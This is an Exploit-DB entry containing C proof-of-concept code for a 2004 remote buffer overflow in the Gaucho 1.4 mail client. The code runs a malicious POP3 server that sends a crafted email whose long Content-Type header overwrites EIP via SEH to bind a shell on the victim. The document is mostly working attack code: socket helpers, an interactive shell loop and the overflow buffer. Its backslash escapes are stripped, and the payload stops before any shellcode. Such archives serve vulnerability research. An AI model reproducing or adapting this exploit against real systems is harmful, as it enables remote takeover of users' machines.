Exploit-DB #421
Description: Gaucho 1.4 - Mail Client Buffer Overflow
Type: remote
Platform: windows
Date: 2004-08-27
Author: Tan Chew Keong

Exploit:
//************************************************************************** 
// Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability 
// Bind Shell POC Validation Code for English Win2K SP4 
// 10 Aug 2004 
// 
// Gaucho is an Email client developed by NakedSoft for Microsoft Windows 
// platforms.   Gaucho supports SMTP, POP3 and other email delivery protocols. 
// Gaucho version 1.4 is vulnerable to a buffer overflow when receiving 
// malformed emails from a POP3 server.   This vulnerability is triggered if the 
// POP3 server returns a specially crafted email that has an abnormally long 
// string in the Content-Type field of the email header. This string will 
// overwrite EIP via SEH, and can be exploited to execute arbitrary code. 
// 
// This POC code simulates a POP3 server that sends a specially crafted email 
// to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable 
// Gaucho email client. 
// 
// Tested on Win2K SP4, you must find the address of JMP EDI instruction that 
// is suitable for your system. 
// 
// Advisory 
// http://www.security.org.sg/vuln/gaucho140.html 
// 
// Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg) 
// 
//************************************************************************** 

#include <winsock2.h> 
#include <windows.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <conio.h> 
#pragma comment(lib,"ws2_32.lib") 

bool tcpInit() 
{ 
WORD wVersionRequested; 
WSADATA wsaData; 
int err; 

wVersionRequested = MAKEWORD( 2, 0 ); 

err = WSAStartup( wVersionRequested, &wsaData ); 
if ( err != 0 ) { 
return false; 
} 
  
if (LOBYTE( wsaData.wVersion ) != 2 || 
        HIBYTE( wsaData.wVersion ) != 0 ) 
{ 
WSACleanup(); 
return false; 
} 

return true; 
} 


SOCKET tcpListen(int port) 
{ 
    SOCKET sock; 

sock = socket(AF_INET, SOCK_STREAM, 0); 

if(sock == INVALID_SOCKET) 
return sock; 

sockaddr_in sin; 

sin.sin_addr.s_addr = htonl(INADDR_ANY); 
sin.sin_family = AF_INET; 
sin.sin_port = htons(port); 

if(bind(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) 
{ 
printf("Error in bind().n"); 
closesocket(sock); 
return INVALID_SOCKET; 
} 

if(listen(sock, 5) == SOCKET_ERROR) 
{ 
printf("Error in bind().n"); 
closesocket(sock); 
return INVALID_SOCKET; 
} 

return sock; 
} 


DWORD resolveIP(char *hostName) 
{ 
hostent *hent; 
char **addresslist; 
DWORD result = 0; 

hent = gethostbyname(hostName); 
if(hent) 
{ 
addresslist = hent->h_addr_list; 

if (*addresslist) 
{ 
result = *((DWORD *)(*addresslist)); 
} 
} 

return result; 
} 


SOCKET tcpConnect(char *host, int port) 
{ 
    SOCKET sock; 

sock = socket(AF_INET, SOCK_STREAM, 0); 

if(sock == INVALID_SOCKET) 
return sock; 

sockaddr_in sin; 

DWORD ip = resolveIP(host); 
if(ip == 0) 
ip = inet_addr(host); 

sin.sin_addr.s_addr = ip; 
sin.sin_family = AF_INET; 
sin.sin_port = htons(port); 

    if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR) 
{ 
printf("Connect failed.n"); 
closesocket(sock); 
return INVALID_SOCKET; 
} 

return sock; 
} 


void shell(int sockfd) 
{ 
char buffer[1024]; 
fd_set rset; 
FD_ZERO(&rset); 

for(;;) 
{ 
if(kbhit() != 0) 
{ 
fgets(buffer, sizeof(buffer) - 2, stdin); 
send(sockfd, buffer, strlen(buffer), 0); 
} 

FD_ZERO(&rset); 
FD_SET(sockfd, &rset); 

timeval tv; 
tv.tv_sec = 0; 
tv.tv_usec = 50; 

if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR) 
{ 
printf("select errorn"); 
break; 
} 
        
if(FD_ISSET(sockfd, &rset)) 
{ 
int n; 

ZeroMemory(buffer, sizeof(buffer)); 
if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0) 
{ 
printf("EOFn"); 
exit(0); 
} 
else 
{ 
fwrite(buffer, 1, n, stdout); 
} 
} 
} 
} 


#define OK_MSG"+OK POC POP3 server for Gaucho Ver 1.4 Vulnerability ready.rn" 
#define STAT_REPLY"+OK 1 1rn" 


char UIDL_REPLY[] = 
"[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]rn.rn"; 


unsigned char bindShellEmail[] = 
"Date: Mon, 09 Aug 2004 19:44:13 +0800rn" 
"Subject: Testingrn" 
"To: a@aaaaaa.xxxrn" 
"From: XX <xx@xxxxxxxx.xxx.xx>rn" 
"Message-ID: <GM[PII_REDACTED]9A000.b76.xx@xxxxxxxx.xxx.xx>rn" 
"MIME-Version: 1.0rn" 
"Content-Type: " 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG" 
"x37x55x62x76"// overwrites EIP via SEH, address of JMP EDI in MPR.dll 
// this address must be carefully chosen due to the filtering that is done 
// on the header messages. 

"IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
"AAAABBBBCCCCDDDDEEEEFFFFGGGG" 
"xEBx60"// FIRST jmp lands us here, do a SECOND jmp to land onto shellcode 
"HHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 
";"